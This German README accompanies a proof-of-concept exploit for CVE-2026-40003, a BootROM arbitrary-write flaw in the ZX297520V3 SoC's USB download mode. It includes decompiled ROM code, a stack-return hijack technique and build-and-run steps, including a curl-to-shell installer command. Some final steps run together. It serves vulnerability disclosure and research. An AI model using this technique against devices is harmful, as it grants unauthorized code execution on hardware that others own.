
Exploit für CVE-2026-40003, eine Schwachstelle für beliebiges Speicherschreiben im BootROM des ZXIC/Sanechips ZX297520V3 SoC, die Codeausführung über den USB-Download-Modus ermöglicht.
[!CAUTION] Dieses PoC wurde nur zu Forschungszwecken veröffentlicht. Du darfst diesen Exploit NICHT für böswillige Zwecke verwenden. Verwende den Exploit NICHT auf Geräten, die dir nicht gehören, oder ohne die ausdrückliche Zustimmung des Eigentümers.
Diese Schwachstelle sollte seit März 2026 in neueren SoC-Revisionen behoben sein. Es sind noch keine Produkte bekannt, die gepatchte Chips verwenden. Alle vorhandenen Geräte sind verwundbar.
TL;DR: Schau dir den Loader-Code an.
Das BootROM startet bei Adresse 0x4 mit dem Stack-Pointer bei 0x81FF0. Der Code führt eine Modusauswahl basierend auf einem speziellen Testpunkt oder der Fähigkeit, das Image vom Flash zu laden, durch. Wenn das BootROM das Image auf dem Flash nicht laden oder verifizieren kann, fällt es in den USB-Download-Modus zurück.
Wir können dieses Verhalten hier beobachten:
v0 = MEMORY[0x13B004] & 7; // Hardware-Pin
switch ( (char)v0 )
{
case 0:
if ( nand_init() )
goto LABEL_12;
parse_header((Header *)0x8A000);
v4 = "\nMODE:NAND\n";
goto LABEL_11;
case 1:
if ( !nand_init() )
{
parse_header((Header *)0x8A000);
uart_puts("\nMODE:USB-N\n");
}
usbdl_init(0x1500000);
v5 = "TURN TO NAND\n";
goto LABEL_16;
/* ... */
LABEL_16:
uart_puts(v5);
LABEL_7:
verify_and_jump((Header *)0x8A000, 0, 1);
break;
Die Funktion usbdl_init initialisiert die USB-IP und tritt in die Download-Schleife ein:
void __fastcall usbdl_init(int usb_base)
{
char *v1; // r0
if ( usb_base == 0x1500000 )
{
alt_usb_base = 0;
usb_init();
}
else
{
alt_usb_base = 1;
noidea();
}
if ( usb_setup() )
{
try_sync_with_host();
v1 = "FAILED\n";
}
else
{
v1 = "\nNOLINK\n";
}
uart_puts(v1);
}
Disassembler-Ausgabe:
ROM:00001F68 ; void __fastcall usbdl_init(int usb_base)
ROM:00001F68 usbdl_init ; CODE XREF: entry+5E↑p
ROM:00001F68 ; entry+7C↑p ...
ROM:00001F68 PUSH {R4,LR}
ROM:00001F6A MOVS R2, #0x1500000
ROM:00001F6E LDR R1, =dword_8014C
ROM:00001F70 MOV R4, R0
ROM:00001F72 CMP R0, R2
ROM:00001F74 BNE loc_1F80
ROM:00001F76 MOVS R0, #0
ROM:00001F78 STRB R0, [R1,#(alt_usb_base - 0x8014C)]
ROM:00001F7A BL usb_init
ROM:00001F7E B loc_1F88
ROM:00001F80 ; ---------------------------------------------------------------------------
ROM:00001F80
ROM:00001F80 loc_1F80 ; CODE XREF: usbdl_init+C↑j
ROM:00001F80 MOVS R0, #1
ROM:00001F82 STRB R0, [R1,#(alt_usb_base - 0x8014C)]
ROM:00001F84 BL noidea
ROM:00001F88
ROM:00001F88 loc_1F88 ; CODE XREF: usbdl_init+16↑j
ROM:00001F88 MOV R0, R4
ROM:00001F8A BL usb_setup
ROM:00001F8E CMP R0, #0
ROM:00001F90 BEQ loc_1F9E
ROM:00001F92 BL try_sync_with_host
ROM:00001F96 ADR R0, aFailed ; "FAILED\n"
ROM:00001F98
ROM:00001F98 loc_1F98 ; CODE XREF: usbdl_init+38↓j
ROM:00001F98 BL uart_puts
ROM:00001F9C POP {R4,PC}
ROM:00001F9E ; ---------------------------------------------------------------------------
ROM:00001F9E
ROM:00001F9E loc_1F9E ; CODE XREF: usbdl_init+28↑j
ROM:00001F9E ADR R0, aNolink ; "\nNOLINK\n"
ROM:00001FA0 B loc_1F98
ROM:00001FA0 ; End of function usbdl_init
Die Funktion try_sync_with_host wartet auf das Sync-Byte (0x5A) und tritt in die Hauptschleife ein.
void try_sync_with_host()
{
int v0; // r4
unsigned int i; // r0
int v2; // r5
int v3; // r2
int v4; // r3
int v5; // r2
int v6; // r3
int v7; // r0
v0 = 0x805A0;
time_to_boot = 0;
for ( i = 0; i < 0x40; ++i )
*(_BYTE *)(i + 0x805A0) = 0;
g_state = 0;
v2 = 0x200;
if ( usb_recv(byte_805A0, 0x200, 0x5A) == 1 ) // 0x5a = ack sent by the host
{
uart_puts("TIMEOUT\n");
}
else
{
resp[0] = 0xA5;
usb_send((int)resp, 1, v3, v4);
g_state = 1;
while ( !time_to_boot )
{
v7 = sub_11CA(v0, v2, v5, v6);
handler(v0, v7);
if ( g_state == 4 )
{
v2 = size;
v0 = start_addr;
}
else
{
v0 = 0x805A0;
v2 = 0x200;
}
}
verify_and_jump(unk_80160, 0, 1);
}
}
Nach Abschluss des Handshakes tritt das BootROM in die Hauptschleife ein und wartet auf das Stage-1-Binary, das normalerweise zur Wiederherstellung eines gebrickten Geräts verwendet wird. Das BootROM verifiziert jedoch nicht die Zieladresse, was beliebiges Schreiben über den 0x7A-Befehl ermöglicht. Der Status 0xA1 bedeutet, dass die Image-Adresse und -Größe akzeptiert wurden.
usb_send:
resp[0] = status;
v5 = 1;
v6 = resp;
return usb_send((int)v6, v5, state, v3);
case 3u: // 0x7A
if ( *(int *)&resp[4] >= 4 )
{
if ( *(int *)&resp[4] < 8 )
*(_DWORD *)&resp[12] = (*(_DWORD *)&resp[12] << 8) | result;
}
else
{
*(_DWORD *)&resp[8] = (*(_DWORD *)&resp[8] << 8) | result;
}
v3 = *(_DWORD *)&resp[4] + 1;
*(_DWORD *)&resp[4] = v3;
if ( v3 != 8 )
continue;
*(_DWORD *)&resp[4] = 0;
start_addr = *(_DWORD *)&resp[8];
size = *(_DWORD *)&resp[12];
g_state = 4;
status = 0xA1;
goto usb_send;
Die Funktion verify_and_jump führt eine Image-Verifizierung durch, wenn das Gerät gefused ist.
int __fastcall verify_and_jump(Header *a1, int zero, int must_verify)
{
int *p_sp; // r6
int result; // r0
p_sp = (int *)&a1->sp;
result = memcmp((int)a1->magic, 0x80008, 2u);
if ( !result )
{
if ( !zero || (result = a1->usbdl_en, result == 0x5A) )
{
if ( !must_verify )
return jump(p_sp);
result = verify(a1);
if ( !result )
return jump(p_sp);
}
}
return result;
}
Die Funktion verify verwendet Hardware-MD5- und RSA-Engines, um die Integrität des Images zu verifizieren, und jump setzt den Stack-Pointer auf die Adresse aus dem Image-Header und springt zum Entrypoint.
In der ARM/Thumb-Aufrufkonvention beginnen Funktionsaufrufe normalerweise mit PUSH {regs, LR} und enden mit einem Tail Call, BX LR oder POP {regs, PC}. Die Funktion usbdl_init wurde vom Compiler nicht als Tail Call optimiert und enthält daher PUSH- und POP-Anweisungen.
Hast du die Idee schon verstanden?
Da das BootROM kein Flag für einen einmaligen Download hat, können wir so viele Images senden, wie wir möchten. Der Exploit missbraucht diese Funktion (obwohl sie selbst keine Schwachstelle ist) zusammen mit dem beliebigen Speicherschreiben.
entry-Funktion: PUSH {R3-R7,LR}) + 2 (usbdl_init-Funktion: PUSH {R4,LR}). Multipliziere das mit der Registergröße, also 8 * 4 = 32LR-Register auf dem Stack (der Einfachheit halber wiederholt das PoC dieselbe Adresse für alle gespeicherten Register)verify_and_jump kehrt zu usbdl_init zurückusbdl_init gibt FAILED aus und führt die POP {R4, PC}-Anweisung aus, wodurch die Payload ausgeführt wirdsudo apt update && sudo apt install curl llvm gcccurl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh oder über den distributionsspezifischen Paketmanager. "$HOME/.cargo/env" (bash) oder source "$HOME/.cargo/env.fish" (fish)cd payload && ./build.sh && cd ..sudo -E cargo r -p loader -- target/thumbv6m-none-eabi/release/payloadVerbinde nun das Gerät mit ausgelöstem USB-Download-Modus (entweder über einen speziellen Testpunkt oder beschädigten Flash) und beobachte die UART-Ausgabe.